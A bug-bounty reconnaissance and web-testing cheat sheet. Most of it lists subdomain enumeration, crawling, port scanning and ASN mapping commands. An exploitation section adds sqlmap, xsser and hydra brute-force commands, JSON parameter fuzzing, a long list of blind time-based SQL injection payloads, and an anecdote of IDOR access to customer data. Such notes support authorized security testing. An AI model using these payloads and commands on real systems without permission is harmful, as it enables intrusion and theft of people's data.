General-Recon-Commands

AUTHOR: MUSTAFA-ALMOHSEN

AUTHOR: MUSTAFA-ALMOHSEN

1. **Information Gathering:**
2. Scanning
- Url finder endpoint, Crawl && Filter URLs Tools && Sub-Domians Tools :
3. **Finding Subdomains**
Enumeration **directories**
Endpoint discovery to discover more contents passively with(web archive,VirusTotal,AlienVault) Waymore ,katana.
ASN
`httpx tool`
4. Exploitation
5.Test POST body for param discovery:
6- Uncover - Discover Exposed Hosts & Vulnerable Instances

1. Information Gathering:

- **WHOIS Lookup:** Gather information about the domain registration.
- **DNS Enumeration:** Identify subdomains and other DNS records.

Website Analysis:

- **Site Mapping:** Use tools like `Burp Suite` or `OWASP ZAP` to map out the website structure.
- **Technology Stack:** Identify the technologies used (e.g., web server, CMS, frameworks).

```
whatweb www.co***o.com
```

2. Scanning

Vulnerability Scanning:

- **Automated Scanning:** Use tools like `Nikto`, `OpenVAS`, or `Nessus` for an initial scan.

  ```
  nikto -h www.c****o.com
  ```

Port Scanning:

- **Nmap Scan:** Identify open ports and services.

```
nmap -sS -sV www.c*****o.com
```

- Url finder endpoint, Crawl && Filter URLs Tools && Sub-Domians Tools :

```
subdominator  -->"Active brute crawling domains"
Dnsbruter
assetfinder
gobuster
ffuf
amass
subfinder
puredns
Gospider
gf -- It looks for intersting patterns for sqli,idor,xss




Hakrawler -    Active URL discovery/    Fast crawling web app
lication activly
urlfinder -    Passive URL discovery/   urlfinder -list new-t
arget.txt -m new-target.txt -all -silent > passive-urlfinder.
txt
```

```
waybackurls -  Passive URL discovery/
katana  -      Active Crawling web application/
Gospider -     Fast web crawling & Find AWS-S3 & Find subdoma
ins & Get URLs from Wayback Machine,wayback,alienvault etc../
httpx -        probe URLs and gather information about web se
rvers

freq -
gau -
SubProber -
uro -
qsreplace -


Gospider tool

Features:

- Fast web crawling
- Brute force and parse sitemap.xml
- Parse robots.txt
- Generate and verify link from JavaScript files
- Link Finder
- Find AWS-S3 from response source
- Find subdomains from response source
- Get URLs from Wayback Machine, Common Crawl, Virus Total, A
lien Vault
- Format output easy to Grep
- Support Burp input
- Crawl multiple sites in parallel
- Random mobile/web User-Agent
```

3. Finding Subdomains

- Tools to use for finding subdomains in effective way!

```
#altdns small-medium recon Use case: When i have a list of
subdomains and want to expand it with common variations.
1. altdns -i subdomains.txt -o altered.txt -w words.txt -r

#alterx Large-scale recon,bug bounty hunting at scale. hig
h-performance recon when you want more speed
1.2 cat subs.txt | alterx | tee -a alterx-subdomains-dnsx.
txt

#To see if the discover alterx subs actully resolve/exsist
we run dnsx/puredns tools validate which permutations actu
ally resolve.
1.3 cat alterx-subdomains-dnsx.txt | dnsx

#Or we pip all fastly to save a time and command
1.4  cat subs.txt | alterx | dnxs > finall-resolved-subs.t
xt

#Than we can run Naapu or other scan tools to find open po
rts on these subs - than we may feed it to katana to find
more content.
1.5 cat subs.txt | alterx | dnxs > finall-resolved-subs.tx
t | naapu -tp 100 -o open-ports.txt | httpx -cl -ip -td -s
c -server -title -location -fr
1.6 cat open-ports.txt | httpx -cl -ip -td -sc -server -ti
tle -location -fr

1.7 chaos -d target.com
1.7 chaos -d target.com -silent | grep api | alterx -silen
t | dnsx -silent | naapu -p 80,443, -s silent

#this add https/http scheam to domains
1.7 cat merged-hosts-clean.txt | xargs -I{} echo 'https://
{}' > merged-hosts-clean-https.txt
```

```
#"Active brute crawling domains"
2. subdominator -d test.com  -o output-subdominator.txt


3. dnsbruter -d kronos.BRUT.example.com -w subs-dnsbruter-
small.txt -wd -c 150 -wt 50


#single domain scan
4. subfinder -d target.com -all --recursive


#Multipale doamin scan
5.1 subfinder -dL targets.txt -all --recursive -o subs.txt
| cat subs.txt |assetfinder -subs-only > asset.subs.txt| s
ort -u >unique.txt


#After collecting all subs of the org, Go use my own tool
Nmap-Bomber to scan the subdomains and find open ports.Nma
p-Bomberو
#puts the real results in a file called good_ports.txt, wh
ich contains host:port lines.This file is ready to use dir
ectly with Nuclei.

┌──(kali㉿kali)-[~/webtools/my-tools/nmap-scripts/Nmap-Bom
ber]
└─$ ./scanner.py unique.txt
good_ports.txt

nuclei -t /root/nuclei_templates -es info,low -l good_port
s.txt -o nuclei.out


6.  amass enum -d target.com
7.  amass enum -passive -d target.gov
```

```
8.  amass enum -passive -nocolor -norecursive  -d target.c
om

#DNS resloution
9. dnsx -d target.com -w wordlist.txt


#bruteforce/Resolve tool built on massdns but with more fe
atures-designed to detect wildcard roots and DNS poisoning
then validate to reduce false positives.
10. puredns resolve all-subs.txt -r trusted-resolvers.txt
11. puredns bruteforce /usr/share/wordlists/dirbuster/SecL
ists/Discovery/DNS/subdomains-top1million-110000.txt  targ
et.com -r resolvers.txt

# Before i run the tool puredns with a list of resolvers.t
xt i have to run a tool dnsvalidator to check which resolv
ers are responsive
 and non-rate-limited.

#it gonna only gives me responvie resolvers the command to
this is:

- dnsvalidator -tL resolvers.txt -o validated_resolvers.tx
t

#Each resolver in my list is gonna be tested for responsiv
eness and whether it provides valid, unpoisoned DNS respon
ses.
#Use the validated list with tools like massdns or other e
numeration tools to ensure efficiency and accuracy
#Periodically re-run dnsvalidator as resolver responsivene
ss may change over time.)


#Use it when you need to resolve millions of names as quic
```

```
kly as possible.no advanced wildcard detection alot of fal
se positive
12. massdns -r validated_resolvers.txt -t A -o S -w  massd
ns-results.txt all-target-subs.txt

#This file all-target-subs.txt contains potential subdomai
ns i want to test might look like:
www.****.net
api.****.net )

result :
┌──(kali㉿kali)-[~/webtools/bug-bounty/****oin]
└─$ cat massdns-results.txt
dispatch.*********a.net. A 172.67.70.114

13. curl -s "https://crt.sh/?q=domain.com&output=json" | j
q -r '.[].name_value' | sort -u
```

- For `alterx` and `altdns` may i will get huge permutations i can not run purdns or dnsx directly on the list to see which one resolve and which is carbig this is cuz my connection will slow the list is so huge so run this script to split them into 100K each and validate with puredns:

```
# create results dir
mkdir -p ~/puredns_results

# split into 100k-line chunks (reduce to 50k or 20k if your l
ink is weaker)
split -l 100000 altdns altdns.part.

# process each chunk sequentially with safe rate-limits
for f in altdns.part.*; do
  echo "=== processing $f ==="
  puredns resolve "$f" \
```

```
    --resolvers ~/webtools/fuzzing-wordlists/resolver/validat
ed-resolvers.txt \
    --resolvers-trusted ~/webtools/fuzzing-wordlists/resolve
r/trusted-resolvers.txt \
    --rate-limit 200 \
    --rate-limit-trusted 50 \
    -t 50 \
    --write ~/puredns_results/"$f".out
  echo "[`date`] finished $f"
  sleep 3
done
```

Enumeration directories

```
Enumeration directories

1. gobuster dir -u https://*****.com -w /usr/share/wordlists/
dirb/common.txt

2. ffuf -u https://******.com/FUZZ -w /usr/share/wordlists/di
rb/common.txt

3. gobuster vhost -u http://thetoppers.htb -w /usr/share/word
lists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
--append-domain -a "Mozilla/5.0 (X11; Linux x86_64) AppleWebK
it/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/53
7.36"

4. ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdom
ains-top1million-20000.txt -u http://instant.htb -H "Host: FU
ZZ.instnat.htb" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0" -fs 0 -mc 4
00,401,403,404,405,500,200,299,301,307
```

```
5. dirsearch -all -u https://www.00.com/ -
```

Endpoint discovery to discover more contents passively with(web archive,VirusTotal,AlienVault) Waymore ,katana.

Using katana tool to crawl the website and find more assets to hacking on

```
#basic crawl
katana -u target.com

#Not deep parse
katana -u target.com -jc

#Deep parse to all endpoint and go deeper
katana -u target.com -jsl -d 5

#From the subs findign i did this setps and got these open po
rts and i mention we may can feed it to katana to find more s
tuff to hack on.
cat open-ports.txt | katana -jsl

#More important to run katana as authenticated to the app we
pass it the session,cookie etc.. to find more inside content
katana -u target.com -H "Authorization: Bearer abc123token" -
H "X-Custom-Header: value"  -jsl -aff -xhr | httpx -sc -title
-cl -td -fr
```

Using waymore tool for effective endpoit discovery to expend our attack surface

- **JavaScript Analysis**

```
# Get all JS files first
waymore -i "**u.*****.com" -mode U -mt "application/javascrip
t" -oU js_files.txt

# Then analyze JS files for API endpoints
grep -E "(api|endpoint|url|/v[0-9]/)" js_files.txt
```

- **Enhanced Waymore Command for Internal Discovery**

```
# Comprehensive scan focusing on API patterns
waymore -i "y**u.*****.com" \
  -mode B \
  -ra "(api|v[0-9]|endpoint|internal|private|admin)" \
  -mt "application/json,application/xml" \
  -mc "200,201,302" \
  -oU discovered_urls.txt \
  -oR responses/ \
  -v

  #Passive Discovery
  waymore -i "**u.*****.com" -mode U -oU passive_urls.txt
```

- For **for Deeper Discovery of already discovered endpoints or urls**

```
#Extract Patterns such exmaple here "token,id" from X discove
red Links
# Extract all X and X  to find patterns

cat discovered_urls.txt | grep -oE "token=[^&]+" | sort -u >
```

```
tokens.txt
cat discovered_urls.txt | grep -oE "id=[^&]+" | sort -u > id
s.txt

# Analyze the structure
cat discovered_urls.txt | grep unsubscribe | head -5

# Search for other endpoints using similar parameter patterns
waymore -i "**u.*****.com" \
  -mode U \
  -ra "(token=|id=|session=|key=)" \
  -oU parameter_urls.txt \
  -v

  # Broaden your search to find more endpoints
waymore -i "you.*****.com" \
  -mode B \
  -ra "(api|v[0-9]|endpoint|user|profile|account|settings|upd
ate|delete|create|submit)" \
  -mt "application/json,application/xml,text/html" \
  -mc "200,201,302,403,404" \
  -oU expanded_urls.txt \
  -oR expanded_responses/ \
  -v
```

- **Advanced Techniques -** `Parameter Mining`

```
# Extract all parameters from discovered URLs
cat discovered_urls.txt | grep -oE "\?[^ ]+" | tr '&' '\n' |
cut -d'=' -f1 | sort -u > parameters.txt

# Search for endpoints using these parameters
waymore -i "y**u.*****.com" -mode U | grep -f parameters.txt
```

- **Enhanced Waymore Command for Maximum Coverage**

```
# Comprehensive scan with multiple patterns
waymore -i "***u.*****.com" \
  -mode B \
  -ra "(api|v[0-9]|endpoint|user|account|profile|settings|adm
in|dashboard|private|internal|token|id|session|key|auth)" \
  -ft "image/,font/,css/" \
  -mc "200,201,302,400,403,404,500" \
  -l 10000 \
  -ci none \
  -oU comprehensive_urls.txt \
  -oR comprehensive_responses/ \
  -v
```

- **Gospider tool**

```
gospider -S merged-hosts-clean-with-https.txt -d 5 -t 3  -a >
gospider-merged-hosts-clean.txt
```

- **Using urlfinder tool for discovering associated urls**

```
urlfinder -d target.com
```

ASN

```
#What is ASN?
#asn is just an identifer to a collaction of Network that own
ed by an Comppany Or ISP, And each ASN has a collection of CI
DR - which is
subnets, After i Got the ASN need to get the CIDR that belong
to it and than whe check Ips inside the CIDR.
```

```
#we can get the ASN number for the organization using "amass"
tool as:


1. - amass intel -org "google"

----> After we got the ASN for google use this command:

2. - amass intel -active -asn 36040

 ----> if you got CIDR for organization and need use amass to
get subdomains related to each CIDR:

3. - amass intel -active -cidr 64.15.118.0/23
#OR
- prips 198.51.100.0/24 > ips.txt

#Reverse DNS it could reveal the Hostname contain the company
name.
- prips 198.51.100.0/24 | hakrevdns -r 8.8.8.8 > revdns.txt
grep -i "example" revdns.txt
```

httpx tool

```
1/ ASN Fingerprint Use httpx with the -asn flag for ASN finge
rprinting, an effective technique for mapping the network aff
iliations of various domains.

- subfinder -d hackerone.com -silent | httpx -asn

2/ Specify an  (ASN) and httpx will fetch all ip addresses of
that autonomous system and probe them
```

```
- echo AS14421 | httpx -silent

3/CIDR Input Run httpx with CIDR input (for example 173.0.84.
0/24)

- echo 173.0.84.0/24 | httpx -silent



- httpx -l targets.txt -sc -location -title -server -td -ip -
t 100 -o httpx.out
```

4. Exploitation

Common Vulnerabilities:

- **SQL Injection:** Test for SQL injection vulnerabilities.

  ```
  sqlmap -u "https://******.com/page?id=1" --batch --dbs

  or

  ghuari -u "https://******.com/page?id=1" --batch --dbs
  ```

- **Cross-Site Scripting (XSS):** Test for reflected, stored, and DOM-based XSS.

  ```
  xsser -u https://******.com
  ```

Authentication and Session Management:

- **Brute Force Attack:** Test login forms for weak passwords.

  ```
  hydra -l admin -P /usr/share/wordlists/rockyou.txt ******o
  mm.com http-post-form "/login:username=^USER^&password=^PA
  SS^:F=incorrect
  ```

5.Test POST body for param discovery:

Fuzzing Json Body ——

```
┌──(kali㉿kali)-[~/webtools/fuzzing-wordlists]
└─$ ffuf -X POST -d '{"FUZZ":"value"}' -H "Content-Type: appl
ication/json" -u https://pd-api.*****c.com/v2.0/users/me/pass
word/reset -w parameters.txt

        /'___\  /'___\           /'___\

_____________________________________________

email                   [Status: 204, Size: 0, Words: 1, Line
s: 1, Duration: 166ms]
:: Progress: [2588/2588] :: Job [1/1] :: 95 req/sec :: Durati
on: [0:00:25] :: Errors: 0 :
```

6- Uncover - Discover Exposed Hosts & Vulnerable Instances

`Uncover is a go wrapper that uses APIs of well known search engines to quickly  discover exposed hosts on the internet. It is a CLI based tool that uses search engines like Shodan, Censys, ZoomEye and others.`

https://projectdiscovery.io/blog/uncover

```
BSQL PAYLOADS: ——————————
1'XOR(94102*if(now()=sysdate()%2Csleep(6)%2C0))XOR'Z
0"XOR(if(now()=sysdate(), sleep (10),0))XOR"Z
1'XOR(94102*if(now()=sysdate(), sleep (10),0))XOR'Z
```

```
'XOR(if(now()=sysdate(), sleep (5*5),0))OR' if (1=1, sleep(1
0),0)/'XOR(if (1=1, sleep(10),0))OR'"XOR(if(1=1, sleep (10),
0))OR"/ if(now()=sysdate(), sleep(10),0) (select*(from(select
(sleep(10))))a)
'XOR(if(now()=sysdate(), sleep (6*2),0))XOR'Z 1 wait for dela
y '0:0:10' '; wait for delay '0:0:10' --" (select*from(select
(sleep(10))a) (select(0)from(select(sleep(10))v) -sleep(10)
'XOR(if(now()=sysdate(), sleep(10),0))OR' 1; SELECT IF((8303>
8302), SLEEP(10), 2356)#
0'XOR(if(now()=sysdate(), sleep(10),0))XOR'Z '+(select*from(s
elect(sleep(10))a)+' '; waitfor delay '0:0:10' 0'|(if((now())
like (sysdate()), sleep(10),0))|'Z 0'or(now()=sysdate()&&slee
p(10))or'Z
1'XOR(select(1)from(select(sleep(10))a)XOR'Z XOR(if(now()=sys
date(), sleep(10),0))XOR'Z 0\"XOR(if(now()=sysdate(), sleep(1
0),0))XOR\"Z XOR(if(now()=sysdate(), sleep(10),0))XOR (select
(sleep(10)))cfm)-- '; waitfor delay '0:0:10' 'XOR(if(now()=sy
sdate(), sleep(10),0))or' 1; select if((8303>8302), sleep(1
0), 2356)# (select(0)from(select(sleep(10))))v)/*'+ (select
(0)from(select(sleep(10))v)+'"+ (select(0)from(select(sleep(1
0))v)+"*/ ') or 11=(select 11 from pg_sleep(10))--
'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z "XOR(if(now()=sysd
ate(),sleep(10),0))XOR'Z x'XOR(if(now()=sysdate(),//sleep(1
0)//,0))XOR'x x'XOR(if(now()=sysdate(), (sleep(10)),0))XOR'x
'XOR(select(0)from(select(sleep(10))a)XOR'Z 1 and (select(0)f
rom(select(sleep(10))a) -- wxyw (select * from (select(sleep
(10))a) '); (select 4564 from pg_sleep(10))-- *'XOR(if(2=2,sl
eep(10),0))or' '+(select*from(select(if(1=1,sleep(10),fals
e))))a)+'
'XOR(if(now()=sysdate(),sleep (10),0))XOR' (select * from (se
lect(sleep (10))a) desc, (select*from(select(sleep (10))a) -1
+or+1=((select+1+from+(select+sleep(10))a))
```

```
Google dorking:- During recon, I used the dork:
```

```
`site:*.target.* "date of birth" ext:pdf`

 Found a PDF file exposing customer data. - Noticed an ID in the URL. - By changing the ID, I could access other customer s’ data (IDOR)
```